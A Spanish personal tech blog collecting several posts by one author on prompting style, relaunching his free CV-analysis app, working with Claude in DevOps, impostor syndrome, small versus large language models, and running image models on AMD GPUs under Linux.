OscarAI Tech

La Evolución del Prompting: ¿JSON o Texto Plano? Desmitificando la Comunicación con LLMs

Oscar — Tue, 25 Nov 2025 00:00:00 GMT

¿Alguna vez te has sentido como si necesitaras aprender un lenguaje de programación secreto solo para obtener una respuesta decente de una Inteligencia Artificial? En el vertiginoso mundo de los Grandes Modelos de Lenguaje (LLM), existe la creencia persistente de que cuanto más complejo y técnico sea tu "prompt" (la instrucción que le das a la IA), mejor será el resultado. Durante mucho tiempo, se nos ha dicho que estructurar nuestros pedidos como si fueran código es el Santo Grial.

Sin embargo, la tecnología avanza a pasos agigantados y lo que era cierto hace seis meses, hoy podría ser obsoleto. Recientemente, me embarqué en un experimento para desentrañar este misterio que ronda a la comunidad del prompting: ¿Es el formato estructurado (JSON) realmente superior al texto natural para obtener resultados de calidad?

Lo que descubrí en mi laboratorio de pruebas no solo me sorprendió, sino que simplifica enormemente la forma en que todos —desde desarrolladores hasta creadores de contenido— deberíamos interactuar con estas herramientas. Spoiler alert: la magia no está en los paréntesis ni en las llaves.

El Experimento: El Duelo de Formatos

Para poner a prueba la teoría, diseñé una serie de pruebas comparativas utilizando los modelos más avanzados del mercado actual. El objetivo era simple: pedir exactamente lo mismo de dos maneras radicalmente distintas y analizar la calidad, precisión y utilidad de la respuesta.

Por un lado, utilicé prompts en formato JSON. El JSON (JavaScript Object Notation) es un formato de texto estándar para representar datos estructurados. Se ve muy técnico y ordenado. Por otro lado, utilicé prompts en texto plano, hablando con la IA como si fuera un colega humano.

Para que visualices la diferencia, aquí tienes un ejemplo simplificado de lo que comparé:

El Prompt en JSON:

{"tarea": "resumir", "documento": "[texto del artículo]", "longitud_max": "50 palabras", "tono": "profesional"}
El Prompt en Texto Plano:

"Por favor, resume el siguiente artículo en un máximo de 50 palabras usando un tono profesional: [texto del artículo]"

El Hallazgo: Contra todo pronóstico inicial, los resultados fueron prácticamente indistinguibles.

Esto nos dice algo fascinante sobre la evolución de los LLM: su capacidad de comprensión semántica ha madurado hasta tal punto que son capaces de interpretar nuestra intención con una precisión asombrosa, independientemente de si usamos una estructura de código rígida o una frase natural. La IA ya no necesita que le hables en robot para entenderte; necesita que le hables con claridad.

Las 3 'Reglas de Oro' del Prompting Moderno

Si el formato (JSON vs. Texto) ya no es el factor decisivo, ¿qué es lo que realmente importa? A través de mis pruebas, identifiqué que el éxito no depende de cómo empaquetes la información, sino de la calidad de la instrucción misma.

A pesar de la convergencia en los formatos, he aislado tres Reglas de Oro universales. Si aplicas estos tres principios, mejorarás drásticamente tus resultados, sin importar si usas ChatGPT, Claude o Llama.

1. Define Explícitamente el QUÉ

El error más común es asumir que la IA lee tu mente. Un LLM es una máquina de predicción, y si dejas espacio a la ambigüedad, intentará adivinar (y a menudo fallará).

La clave: Sé directo sobre el objetivo final. No digas mira este texto; di analiza este texto y extrae los 3 argumentos principales. Cuanto más específico sea el verbo de acción, mejor será la ejecución.

2. Especifica Claramente el CÓMO

Aquí es donde muchos fallan. Una vez que la IA sabe qué hacer, necesita saber bajo qué parámetros hacerlo. Si no defines el formato, el tono y la estructura, recibirás una respuesta genérica.

La clave: Dale restricciones.
- ¿Formato? Entrégalo en una tabla de dos columnas o En una lista con viñetas.
- ¿Tono? Usa un tono sarcástico pero educativo o Sé formal y conciso.
- ¿Estructura? Empieza con una conclusión y luego desglosa los puntos.

3. Exige la Totalidad del Contenido (Todo, y sin atajos)

Los LLM, por diseño, a veces tienden a la pereza computacional para ahorrar recursos, dándote resúmenes o fragmentos de código con comentarios como // ... resto del código aquí.

La clave: Instruye explícitamente al modelo para que genere TODO el contenido necesario.
- Ejemplo: Escribe el código completo, sin omitir ninguna función ni usar marcadores de posición.
- Ejemplo: Desarrolla la respuesta completa paso a paso, sin dejar cabos sueltos ni resumir secciones críticas. Esta simple instrucción obliga al modelo a realizar un esfuerzo computacional mayor para cumplir con la solicitud íntegra.

Conclusión: Claridad sobre Complejidad

La era de tener que ser un susurrador de código para obtener buenos resultados de una IA está llegando a su fin. Mi experimento demuestra que la barrera de entrada técnica se está desmoronando: un prompt en texto plano bien redactado es tan poderoso como una estructura JSON compleja.

Lo que permanece constante, y se vuelve aún más valioso, es nuestra capacidad de comunicación. Las Reglas de Oro (Qué, Cómo y Totalidad) son tu mejor herramienta. No te obsesiones con los paréntesis; obsesiónate con la claridad de tu intención.

La próxima vez que te sientes frente a un prompt, te invito a probar estas reglas. Olvida la sintaxis compleja y concéntrate en ser el mejor jefe posible para tu asistente digital: claro, específico y exigente.

¿Quieres que analice un caso de uso específico en mi próximo experimento? Déjame un comentario o contáctame en redes sociales. ¡La evolución de la IA la escribimos entre todos!

TENVY v2: Lo que aprendí tras encerrarme un fin de semana a reescribir la plataforma

Oscar — Tue, 02 Dec 2025 00:00:00 GMT

El valor de la imperfección (y de escuchar)
Crónica de un fin de semana de código
¿Qué trae la v2 bajo el capó?
La marca soy yo, la comunidad sois vosotros
Un agradecimiento técnico
¿Qué sigue?

Martes, 02 de Diciembre. Acabo de publicar en LinkedIn el lanzamiento de la nueva versión de Tenvy. Pero LinkedIn es para el titular; aquí quiero contar la historia completa.

Hace tres meses lancé este proyecto (tenvy) con un eslogan que, para mí, es una ley: "Buscar trabajo NO debería costar dinero".

La acogida de la versión 1 (v1) fue numéricamente buena para un proyecto que acaba de nacer:

264 usuarios registrados.
570 currículums analizados.

Pero los números son vanidad si la experiencia de usuario falla. Y falló.

El valor de la imperfección (y de escuchar)

Como emprendedor, a veces te obsesionas con el roadmap, con las features futuras o con el diseño perfecto. Pero la realidad te golpea cuando abres el correo. Recibí mensajes de 15 usuarios. No eran mensajes de felicitación, eran reportes de errores:

"Oye, el login no va".
"El análisis se queda colgado a la mitad".
"Los caracteres del ATS salen raros y no se entiende nada".

En ese momento tienes dos opciones:

Poner excusas ("es que es una beta", "es que tu navegador…").
Aceptar que el usuario manda.

Elegí la segunda. Como he leído recientemente en la historia de otros emprendedores, lanzar algo imperfecto no es malo, siempre y cuando estés dispuesto a escuchar el feedback y pivotar rápido.

Crónica de un fin de semana de código

Decidí que la "v1.5" no era suficiente. Necesitaba una v2.

Me encerré este fin de semana. Café, música y Visual Studio Code. He tocado prácticamente todo el core de la plataforma. No solo he puesto parches; he reescrito la lógica que estaba fallando.

Y aquí debo ser honesto: nada de esto habría sido posible sin lo que estoy aprendiendo en mi máster de Desarrollo con IA. Esos 15 mensajes de error no me habrían servido de nada si no hubiera tenido las herramientas para solucionarlos. Structured outputs, manejo de prompts como código, arquitectura limpia… no son buzzwords, son lo que separa un MVP roto de un producto que funciona.

¿Qué trae la v2 bajo el capó?

1. Estabilidad total en el Login

He simplificado el proceso de autenticación. Entrar en Tenvy ahora es inmediato.

2. Análisis de CV robusto

Ya no se "cuelga". He optimizado la forma en que procesamos el archivo para que, incluso si tu PDF es pesado o tiene un formato extraño, el sistema responda.

3. El problema de la "Sobrecualificación"

Este es el cambio más importante. Analizando los datos de esos 570 CVs, detecté un patrón alarmante. Mucha gente no es rechazada por falta de experiencia, sino por exceso. Los sistemas ATS (y los reclutadores humanos) a veces descartan perfiles "caros" o "demasiado senior" antes de siquiera hablar con ellos.

La v2 de Tenvy ahora detecta explícitamente si tu perfil corre riesgo de ser descartado por estar sobrecualificado para la oferta y te sugiere cómo adaptarlo. Ya no basta con tener experiencia; hay que mostrar la experiencia exacta que pide la oferta.

La marca soy yo, la comunidad sois vosotros

Tenvy no es una multinacional. Detrás de cada línea de código y de cada respuesta de soporte estoy yo, Óscar.

No tengo inversores presionando para monetizar tus datos. No tengo un equipo de marketing maquillando la realidad. Mi objetivo es simple: usar mis conocimientos en tecnología y ciberseguridad para nivelar el campo de juego en la búsqueda de empleo.

No puedo hacer la entrevista por ti, ni puedo arreglar un mercado laboral que a veces parece roto. Pero puedo darte las herramientas para que tu CV pase el primer filtro.

Un agradecimiento técnico

Estoy en un máster de Desarrollo con IA. Cuando lancé la v1, aplicaba IA "a lo bruto": prompts sin estructura, manejo de errores amateur, arquitectura de código spaghetti.

La v2 es diferente porque ahora tengo las herramientas correctas. Structured outputs con LangChain, sistemas de fallback, OAuth bien implementado… Son cosas que aprendes en clase, pero que no entiendes de verdad hasta que las aplicas en producción con 264 usuarios esperando que todo funcione.

Stack técnico de la v2:

Flask + Gunicorn + PostgreSQL
LangChain + Structured Outputs
Docker + nginx
OAuth Google/LinkedIn con JWT stateless

Si estás en el máster leyendo esto: sí, lo de "trata los prompts como código" funciona en producción. Y sí, vale la pena reescribir todo el domingo por la noche cuando sabes que el lunes 15 personas van a tener una mejor experiencia.

¿Qué sigue?

Seguir escuchando. Esos 15 usuarios que se quejaron han aportado más valor a Tenvy que cualquier plan de negocio teórico que yo pudiera haber escrito en una servilleta.

La v2 ya está online. Es más rápida, más visual y, sobre todo, más honesta.

Si estás buscando trabajo, te invito a probarla. Y si encuentras un fallo, por favor, escríbeme. Me volveré a encerrar otro fin de semana si hace falta.

Porque buscar trabajo no debería costar dinero.

Vibe Coding con Claude: Lo que nadie te cuenta sobre trabajar con LLMs en DevOps

Oscar — Fri, 05 Dec 2025 00:00:00 GMT

Llevo varios meses trabajando intensivamente con Claude en el desarrollo de TENVY y en mi trabajo como Platform Engineer. No voy a venderte humo sobre "el futuro del desarrollo" ni a decirte que la IA no te va a quitar el trabajo. La verdad es que no lo sé. Lo que sí sé es que las cosas están cambiando, rápido, y me he encontrado aprendiendo tecnologías y conceptos que jamás pensé que tocaría.

¿Qué coño es "vibe coding"?

Olvídate de la definición marketiniana. En la práctica vibe coding es esto: describes lo que quieres hacer, el LLM te genera código, tú lo revisas, lo entiendes, lo ajustas, y lo iteras. No es magia. No es copiapega. Es un ciclo de colaboración donde TÚ sigues siendo el que entiende el sistema, la arquitectura, y los trade-offs.

Ejemplo de mi día a día:

# Antes (enfoque tradicional):
# 1. Googlear "kubernetes cronjob with secrets"
# 2. Leer 3 artículos de StackOverflow
# 3. Adaptar el código a mi caso
# 4. Debuggear durante 40 minutos porque olvidé un indentado en el YAML
# Tiempo total: ~2 horas

# Ahora (con Claude):
# 1. "Claude, necesito un CronJob de K8s que ejecute este script cada 6 horas,
#     monte estos secrets, y tenga retry policy con backoff exponencial"
# 2. Revisar el YAML generado
# 3. Ajustar según mis políticas de cluster
# Tiempo total: ~20 minutos

La diferencia no es que Claude haga tu trabajo. Es que elimina la fricción entre pensar y ejecutar.

Lo que he aprendido (y nadie me dijo)

1. No todas las herramientas LLM son iguales

He probado Cursor, GitHub Copilot, y Claude CLI directamente. Para debugging complejo y problemas de arquitectura, Claude CLI me ha dado resultados significativamente mejores. ¿Por qué? Contexto. Cuando le das el contexto completo de tu problema (logs, configuraciones, código relacionado), la calidad de las respuestas es otro nivel.

Copilot: Genial para autocompletar funciones simples.
Cursor: Bueno para refactors y edición inline.
Claude CLI: Superior para arquitectura, debugging complejo, y cuando necesitas entender el "por qué".

2. La calidad del prompt = calidad del código

Esto suena obvio, pero no lo es. Aprendí por las malas que "haz una API en Flask" te da código de tutorial. En cambio:

"Necesito una API REST en Flask que:
- Maneje autenticación OAuth con Google
- Procese PDFs en memoria (sin guardarlos en disco por GDPR)
- Use SQLAlchemy con PostgreSQL
- Tenga rate limiting por IP
- Devuelva errores en formato JSON con códigos HTTP apropiados
- Incluya logging estructurado"

Te da código production-ready (o casi).

3. El debugging ha cambiado radicalmente

Antes: Leer stacktraces, googlear el error, probar soluciones random hasta que algo funciona.

Ahora: Le paso el stacktrace completo a Claude con contexto del código. En el 80% de los casos, identifica el problema exacto y me da la solución. Pero aquí está el truco: tengo que entender la solución para verificar que tiene sentido en mi arquitectura.

No es copiar código ciegamente. Es tener un pair programmer experto disponible 24/7.

4. La curva de aprendizaje se ha invertido

Tradicionalmente: Aprendes la teoría → Practicas → Construyes.

Con LLMs: Construyes → Entiendes qué está pasando → Profundizas en la teoría cuando necesitas optimizar.

He implementado patrones de diseño que antes me habría costado semanas entender, y luego los he estudiado a fondo porque ya los tenía funcionando en producción. Es... diferente. No sé si mejor o peor, pero definitivamente más rápido para iterar.

Casos de uso en DevOps

Infraestructura como Código

# Ejemplo: Migrar configuración manual de Nginx a código
# Le pasé mi nginx.conf actual y pedí:
# "Convierte esto a configuración de Ansible, hazlo idempotente,
#  y añade validación de sintaxis antes de aplicar cambios"

# Resultado: Playbook completo con validación, rollback, y testing
# Tiempo ahorrado: ~4 horas

CI/CD Pipelines

He montado mi primer sistema CI/CD con GitHub Actions literalmente aprendiendo sobre la marcha con Claude. Antes me daba pereza meterme en YAML de pipelines porque la curva de aprendizaje era empinada. Con Claude:

"Necesito un pipeline que haga testing, build de Docker, y deploy a mi VPS"
Me genera el .github/workflows/deploy.yml
Ajusto según mi infra específica
Funciona al segundo intento (el primero fallé yo, no Claude)

Gestión de Secrets y Seguridad

Hace poco metí la pata y comiteé secrets a un repo público. Claude me ayudó a:

Revocar los secrets comprometidos
Implementar git-secrets para prevenir futuros incidentes
Configurar pre-commit hooks
Documentar el proceso para el equipo

Todo en una sesión de 2 horas. Antes, esto habría sido un día completo de investigación + implementación.

Lo que NO ha cambiado (y no va a cambiar)

Tienes que entender lo que hace el código. Si no, estás generando deuda técnica.
Tienes que conocer tu arquitectura. Claude no sabe cómo está montado tu K8s cluster.
Tienes que tomar decisiones. Claude te da opciones, tú decides cuál encaja mejor.
Tienes que debuggear cuando falla. Y va a fallar, porque las herramientas no son perfectas.

El cambio

No es que ahora "cualquiera pueda programar". Es que los que ya sabemos programar podemos:

Iterar 5-10x más rápido
Explorar tecnologías nuevas sin meses de curva de aprendizaje
Enfocarnos en arquitectura y decisiones, no en sintaxis
Mantener múltiples proyectos que antes serían imposibles

En mi caso: mantengo TENVY (una plataforma completa con Flask, PostgreSQL, Docker, CI/CD) mientras trabajo full-time en ALDI España y estudio un máster en IA. Antes, uno de esos tres habría sido insostenible.

Conclusión: Adaptarse o quedarse atrás

No sé si la IA va a quitar trabajos. Lo que sí sé es que los desarrolladores/DevOps que sepan trabajar con LLMs van a ser mucho más productivos que los que no. Y en un mercado competitivo, esa diferencia importa.

Mi consejo:

Experimenta. Prueba Claude, ChatGPT, Cursor, lo que sea.
Documenta tu aprendizaje. Yo he aprendido una burrada y me arrepiento de no haber documentado más desde el principio.
Mantén el pensamiento crítico. El código generado por IA no es perfecto. Revísalo, entiéndelo, mejóralo.
No tengas miedo a parecer "junior". He preguntado cosas básicas a Claude que me daba vergüenza googlear. Resultado: he aprendido más en 6 meses que en años de copiar código de StackOverflow.

El cambio está aquí. Nos guste o no. Yo he decidido adaptarme. ¿Y tú?

Este post está basado en mi experiencia desarrollando TENVY y trabajando como Platform Engineer. Si tienes preguntas o quieres discutir sobre el tema, escríbeme en LinkedIn.

El día que puse el freno de mano

Oscar — Thu, 11 Dec 2025 00:00:00 GMT

Durante 14 años, mi carrera se sintió como una huida hacia adelante.

Si trabajas en tecnología, conoces la sensación. Es un ruido de fondo constante. Pestañeas y ha nacido un nuevo framework. Vas a por un café y tu lenguaje de programación principal se ha actualizado dos veces. Abres LinkedIn y todo el mundo parece estar certificado en tecnologías que tú apenas has tenido tiempo de leer en diagonal.

Durante más de una década, viví convencido de que mi rol era el de un apagafuegos. Pasaba de rama en rama, acumulando cursos, títulos y experiencias, pero sintiéndome obsoleto al instante. Cambiaba de empresa cada año y medio, no por ambición, sino por la sensación asfixiante de estancamiento o por el miedo a que descubrieran que, en el fondo, no sabía lo suficiente.

La maldición del porqué

Desde que empecé en IT, tuve un defecto que en realidad era una virtud disfrazada: quería aprenderlo TODO. Si mi tarea era A, y veía que mis superiores hacían B, C y D, yo necesitaba entender la lógica detrás de todo el abecedario. Odiaba el esto es así y punto.

Esa curiosidad insaciable, paradójicamente, me jugó en contra. En un mundo que premia la especialización rápida, yo me sentía disperso. Hice DAW, DAM, ASIX... picoteando de todo, sintiendo que no era experto en nada. Me veía a mí mismo como un generalista en un mundo de especialistas, un mindundi eterno.

Pero el punto de inflexión no llegó en un momento de fracaso, sino, curiosamente, rodeado de éxito ajeno.

El espejo distorsionado

Hubo una etapa en mi carrera donde aterricé en un equipo lleno de gente TOP. Personas con carreras de prestigio, con un talento técnico brutal. Yo me sentía pequeño. Me sentaba en mi silla pensando: En cualquier momento se darán cuenta de que no pertenezco a esta liga.

Sin embargo, ocurrió algo que no encajaba con mi narrativa interna: esa gente empezó a pedirme ayuda.

Me pedían opinión sobre arquitecturas, sobre códigos, sobre automatizaciones. Valoraban mi criterio. Yo pensaba: ¿Están locos? Si yo solo soy el que apaga los fuegos. Tardé mucho tiempo en entender que lo que yo veía como dispersión, ellos lo veían como versatilidad.

Ahí fue cuando me di cuenta de que llevaba 14 años viviendo en mi propia sombra. Y descubrí que no estaba solo.

Voces compartidas: No eres el único

Al empezar a compartir esto en comunidades y foros, me di cuenta de que el Síndrome del Impostor es la verdadera pandemia del sector IT. No importa si llevas dos días o veinte años.

Un compañero, Rubert, lo describió con una claridad dolorosa:

Muchas veces veo a otros que parecen dominar temas mucho más profundos y, sinceramente, a mí me cuesta horrores aprender. (...) Cuando me entra el síndrome del impostor, siempre trato de recordar cómo era yo hace dos o cuatro meses. (...) No existe un camino 'correcto' y el área es tan amplia que es normal no saberlo todo.

Rubert tenía razón. Nos comparamos con la foto final del éxito de otros, ignorando sus procesos.

Y luego está la historia de MeTaN01a, que me enseñó que la carrera tecnológica no es una línea recta. Él pasó de instalar Windows 95 con disquetes a abandonar la tecnología por completo, vivir de mochilero, enfrentarse al silencio y volver a empezar de cero a los 44 años:

El silencio me obligó a mirarme de frente. (...) A los 44 años me matriculé en Ingeniería en Ciberseguridad, volví a Kali, a los labs. (...) No importa lo que hayas vivido, la edad que tengas o cuántas veces hayas empezado de cero. Importa cuando decides volver al camino.

Leer estas historias me hizo ver que mi angustia no era una señal de incompetencia, sino una experiencia compartida.

Poner el freno de mano

Decidí que ya bastaba. Entendí que la ansiedad y la sensación de fraude no venían de la falta de conocimiento, sino de la falta de valoración propia.

Tomé decisiones radicales. Dejé de hacer horas extra para demostrar valía que ya tenía. Dejé de perseguir certificaciones solo para llenar huecos en mi ego. En su lugar, empecé a construir.

Creé una aplicación gratuita, pagada de mi bolsillo, para ayudar a otros con sus CVs y ofertas laborales. Lo hice sin esperar nada a cambio, solo por el placer de aportar valor. Y al hacerlo, me di cuenta de cuánto había crecido. Pasé de no saber resolver un CTF a crearlos. Pasé de sentirme un peón a convertirme en AIOPS Engineer.

La salida de la sombra

He dado un salto brutal en salud mental. No porque el trabajo sea más fácil, sino porque yo he cambiado mi relación con él.

¿Cuándo me entra el síndrome del impostor ahora? Todavía aparece. Pero ahora me río. Miro atrás, miro a mis compañeros, miro a la comunidad y todo lo que he conseguido.

Si estás leyendo esto y sientes que vas tarde, que te falta saberlo todo, o que eres un fraude: Para. Pon el freno de mano.

No necesitas aprender otro framework hoy. Necesitas mirar lo que eras hace seis meses y darte cuenta de que, sin que te dieras cuenta, ya has avanzado una montaña. No vivas más en la sombra. Yo decidí salir, y fue lo mejor que pude hacer en mi vida.

LLM vs SLM: no es una pelea técnica, es una batalla de narrativa

Oscar — Sun, 28 Dec 2025 00:00:00 GMT

Durante los últimos meses se ha instalado la idea de que existe una pelea técnica entre los grandes modelos de lenguaje y los modelos más pequeños. Se presenta como una carrera por ver quién razona mejor, quién responde más fino o quién gana en benchmarks públicos. Mi experiencia trabajando y probando ambos enfoques es que esa pelea, tal como se cuenta, no es del todo honesta. No porque no haya diferencias técnicas, sino porque el enfrentamiento real no se está dando ahí.

Dónde está realmente la pelea

Lo que sí existe es una batalla de narrativa. Se habla más del tamaño del modelo, del número de parámetros o de la empresa que hay detrás que del uso concreto que se le da en el día a día. Los modelos que más visibilidad tienen suelen coincidir con los que más inversión hay en publicidad, acuerdos, presencia en medios y voces amplificando el mensaje. Eso no los hace malos ni inútiles, pero sí distorsiona la percepción de qué funciona mejor en un contexto práctico.

El foco no está en cómo se usa un modelo, sino en cómo se percibe desde fuera.

El uso diario no sigue la narrativa

En mi trabajo diario no tomo decisiones en función de quién ha ganado el último benchmark ni de lo bien posicionada que esté una marca en redes. Las tomo en función de latencia, coste, control, estabilidad y capacidad de iterar sin fricción. En ese terreno, muchos modelos pequeños resuelven tareas de forma más que suficiente y, en algunos casos, con una eficiencia que no se refleja en el ruido exterior.

No destacan porque no hay interés en empujarlos como producto aspiracional. Simplemente funcionan y hacen su trabajo sin hacer ruido.

Cuando bajas al teclado, cambia la conversación

Cuando se baja al uso real, la discusión cambia. Deja de importar tanto el modelo perfecto y empieza a importar si responde rápido, si puedo ejecutarlo donde lo necesito y si se adapta a mi forma de trabajar. Ahí la supuesta superioridad técnica de algunos modelos grandes pierde peso frente a soluciones más ajustadas al problema concreto.

No es una cuestión de tamaño, es una cuestión de encaje.

No es una guerra de bandos

No digo que los modelos grandes no tengan su sitio. Lo tienen, y en determinados escenarios son la opción correcta. Lo que cuestiono es la idea de que estén ganando porque sean objetivamente mejores en todos los casos. Lo que están ganando es presencia, atención y narrativa.

Y eso no siempre coincide con lo que mejor funciona cuando te sientas delante del teclado y necesitas sacar trabajo adelante.

No es una defensa de un bando ni un ataque a otro.

Es simplemente una observación desde dentro, después de probar, pagar, medir y descartar.

La pelea que se ve desde fuera no es técnica.

Es comunicativa.

Qwen Image en AMD y Nobara: cuando el problema no es el modelo

Oscar — Sat, 03 Jan 2026 00:00:00 GMT

Esta tarde decidí tocar algo muy concreto. Sin prisas, sin redes, sin Cursor y sin la sensación de que tenía que salir algo publicable. Simplemente quería probar Qwen Image en local, con el equipo que uso a diario, medir su comportamiento y documentar lo que pasara.

No buscaba una demo ni un tutorial de éxito. Buscaba responder a una pregunta muy simple: si este stack es viable hoy para trabajar en local sin depender de servicios externos.

Mi entorno no tiene nada raro. Trabajo con una AMD RX 7800 XT, Linux sobre Nobara, kernel actualizado y ROCm instalado desde los repositorios del sistema. Es exactamente el tipo de configuración que muchos usamos fuera de entornos controlados o máquinas dedicadas solo a pruebas.

Sobre el papel todo encajaba. En la práctica, no.

El planteamiento inicial era directo. Instalar Qwen Image usando Diffusers y PyTorch, ejecutar inferencia por GPU y observar consumo y estabilidad. En esta primera fase descarté Docker a propósito. Quería ver qué pasaba directamente sobre el sistema, sin capas que pudieran esconder problemas.

Arranqué con un entorno clásico usando Python y venv, junto con las wheels oficiales de PyTorch con soporte ROCm. La instalación fue pesada, pero aparentemente correcta. El problema apareció en el primer import.

ImportError: libamdhip64.so: cannot enable executable stack as shared object requires:
Invalid argument

En ese momento quedó claro que el fallo no estaba en Qwen Image ni en el código. El choque venía de más abajo.

A partir de ahí el trabajo dejó de ser sobre modelos y pasó a ser sobre sistema. Verifiqué que ROCm detectaba la GPU, que rocminfo y clinfo respondían correctamente y que las librerías del sistema estaban donde debían.

La librería libamdhip64.so del sistema estaba correcta. No requería stack ejecutable y no violaba ninguna política de seguridad. El problema era que PyTorch no estaba usando esa librería. Estaba cargando copias embebidas dentro del propio wheel, compiladas con flags incompatibles con un kernel endurecido.

Se intentó forzar el uso de la librería del sistema con variables de entorno como LD_LIBRARY_PATH y LD_PRELOAD. No sirvió. El cargador dinámico seguía priorizando las librerías internas del paquete.

Para confirmar el diagnóstico se renombró la primera librería problemática con la idea de obligar al uso de la versión del sistema. El resultado fue inmediato:

ImportError: libhiprtc.so: cannot enable executable stack

Ahí el patrón ya era evidente. No se trataba de una librería aislada. Era toda la cadena HIP embebida en el wheel. Esto no se arregla con un parche puntual ni con un ajuste menor. Es una incompatibilidad estructural entre cómo se empaqueta PyTorch ROCm y cómo funcionan distribuciones con políticas de seguridad estrictas.

El siguiente paso lógico fue probar Conda, una vía habitual en entornos científicos para evitar este tipo de conflictos. Se instaló Miniforge, se creó un entorno limpio y se evitó mezclarlo con venv, algo que solo añade ruido.

Ahí apareció otra limitación menos conocida. En los canales estándar de Conda no existen paquetes de PyTorch con soporte ROCm para Linux x86_64. No es un problema de versión ni de sintaxis. Simplemente no están publicados.

Llegados a ese punto, la conclusión era clara.

Este experimento no demuestra que Qwen Image no funcione. Tampoco demuestra que AMD no sea válida para cargas de trabajo de IA. Lo que pone sobre la mesa es el estado actual del ecosistema cuando se combinan GPU AMD, ROCm, wheels con librerías embebidas y distribuciones endurecidas.

Hay entornos donde este stack funciona con menos fricción. Otros sistemas son más permisivos. Este no lo es, y eso no es un error. Es una decisión técnica con consecuencias claras.

No todos los experimentos acaban con una imagen bonita. A veces el valor está en documentar dónde se rompe el camino. Este tipo de pruebas ahorran tiempo, frustración y expectativas mal colocadas. Ayudan a separar el ruido del análisis técnico.

Aquí el problema no es el modelo. Tampoco es falta de conocimiento. Es una incompatibilidad concreta, reproducible y bien delimitada.

Cerrar un experimento con esta conclusión no es fallar. Es entender hasta dónde llega el stack que tienes entre manos. Y eso, en ingeniería, también es avanzar.

Soberanía en IA: Inferencia Local de Alta Velocidad sobre Silicio AMD de Consumo

Oscar — Fri, 23 Jan 2026 00:00:00 GMT

El dogma de la industria actual sostiene una narrativa binaria: la IA generativa de alta producción requiere ecosistemas cerrados (Mac Studio) o stacks CUDA de nivel empresarial. Esta narrativa domina el mercado, pero ignora las realidades fundamentales de la ingeniería de sistemas.

Este estudio de caso documenta la optimización del throughput de memoria y la resolución de cuellos de botella a nivel de kernel para modelos multimodales (12B+) sobre hardware de consumo: un Ryzen 7 7700X emparejado con una Radeon RX 7800 XT. El desafío técnico consistió en lograr velocidad de inferencia industrial sobre un sistema operativo Linux con kernel endurecido, sin comprometer las políticas de seguridad restrictivas ni escalar el presupuesto de hardware.

Estado de Reactor Nuclear: Diagnóstico de la Ineficiencia

La telemetría inicial reveló un sistema operando en estado de fallo crítico. No se trataba de un déficit de capacidad de hardware, sino de una arquitectura de dispatch de datos defectuosa. Los tiempos de cola de trabajo mostraron latencias catastróficas de 47.41s y 39.40s, evidenciando fallos sistémicos en el pipeline de inferencia.

El análisis de bajo nivel identificó tres cuellos de botella fundamentales que convertían la GPU en un reactor sobrecalentado incapaz de producir trabajo útil:

VRAM Saturation & Thrashing: La ocupación de VRAM superaba el 92%, resultando en Page-In Stalls críticos. El sistema invertía más ciclos moviendo memoria vía bus PCIe que ejecutando kernels de cómputo.
Command Submission Failure: La capa del driver amdgpu rechazaba la ejecución debido a la falta de buffers de control en espacios de memoria restringidos. Las políticas de seguridad del kernel endurecido bloqueaban operaciones críticas de DMA.
Gestión de Energía Reactiva (DPM): El firmware de la GPU fallaba al reconocer la carga computacional, anclando los relojes de memoria (MCLK) en estados idle (1218MHz vs 2400MHz+ nominal).

Ingeniería de Plataforma: Orquestación del Stack

La resolución requirió abandonar el escalado de hardware para enfocarse en la optimización pura del dispatch de datos mediante la coordinación de tres capas del stack.

1. Gestión de Memoria Heterogénea

Implementamos políticas agresivas de segmentación de VRAM para aliviar la contención del bus PCIe y garantizar un context switching limpio. Se rediseñó el layout de tensores en memoria para minimizar transferencias innecesarias.

2. Low-Level DPM Override

Sustituimos el control reactivo por una sincronización manual de los estados de potencia. Al forzar frecuencias máximas de reloj de memoria antes del dispatch de tensores, eliminamos la latencia de wake-up, asegurando un ancho de banda efectivo inmediato.

3. Patching de Interfaz del Kernel

Para mitigar las restricciones de ejecución entre el runtime stack y las políticas de seguridad, aplicamos parches quirúrgicos a nivel de interfaz del driver. Esto permitió resolver las restricciones de seguridad sin comprometer la integridad del sistema endurecido.

Resultados: El Salto de Eficiencia

La intervención no produjo una mejora incremental, sino un salto cualitativo en la eficiencia computacional. La telemetría post-optimización confirmó que el hardware de consumo, correctamente orquestado, supera las expectativas de rendimiento de estaciones de trabajo propietarias.

Reducción de Latencia: 83%.
Estabilidad de Compute: SCLK sostenido de 2358 MHz bajo carga.
Eficiencia Térmica: 55°C constantes gracias a la eliminación de ciclos de espera ineficientes.

Conclusión: El Valor Estratégico de la Autonomía

La dependencia de ecosistemas cerrados (Cloud/Propietario) no es solo una decisión técnica, es una decisión económica que implica OPEX elevado, vendor lock-in y visibilidad limitada del stack.

Este caso demuestra que la habilidad de ingeniería supera al presupuesto de hardware. Al tomar control total del stack, desde el kernel hasta la capa de aplicación, logramos:

Costo Marginal Cero: Iteraciones infinitas de refinamiento a $0.00 de costo adicional.
Soberanía de Datos: Sin transferencias a terceros.
Velocidad de I+D: Prototipado rápido sin las fricciones de costos por token.

Si tu equipo de infraestructura afirma que es imposible, probablemente necesitan una perspectiva de Senior Platform Engineering. Los cuellos de botella no se resuelven con presupuesto; se resuelven con telemetría, análisis de bajo nivel y arquitectura de sistemas disciplinada.

SRE y AI no son etiquetas

Oscar — Tue, 10 Feb 2026 00:00:00 GMT

Son una forma de pensar

Últimamente estoy volviendo a leer ofertas de trabajo con calma.

Sin ansiedad. Sin prisa.

Solo observando el lenguaje.

AI Engineer por aquí.

SRE por allá.

Y cuanto más leo, más clara tengo una sensación incómoda: estamos usando esas palabras para cosas que no lo son.

AI se ha convertido en una etiqueta comodín. Si usas un asistente, conectas una API o automatizas algo con un modelo, ya entra en el saco. No importa si entiendes el sistema, los datos, el coste o los límites. La herramienta está ahí, luego el rol existe.

Con SRE pasa algo parecido. Se presenta como la evolución natural del sysadmin. Un poco más de cloud, algo de Terraform, métricas bonitas en Grafana y guardias mejor pagadas. Mismo trabajo, otro nombre.

Pero ni una cosa ni la otra van de eso.

Un AI Engineer bien enfocado no es alguien que usa IA. Es alguien que entiende sistemas complejos y sabe dónde la IA aporta valor real y dónde solo añade ruido. Sabe cuándo un modelo es necesario y cuándo es un error. Piensa en latencia, en coste, en control, en fallo. No romantiza la magia.

Y un SRE no es un sysadmin 2.0. Es alguien que observa cómo funciona un sistema en producción y, con solo ver la arquitectura y las métricas, sabe lo que va a pasar antes de que pase. No reacciona. Anticipa. No apaga fuegos. Evita que empiecen.

La diferencia no está en la herramienta. Está en la forma de pensar.

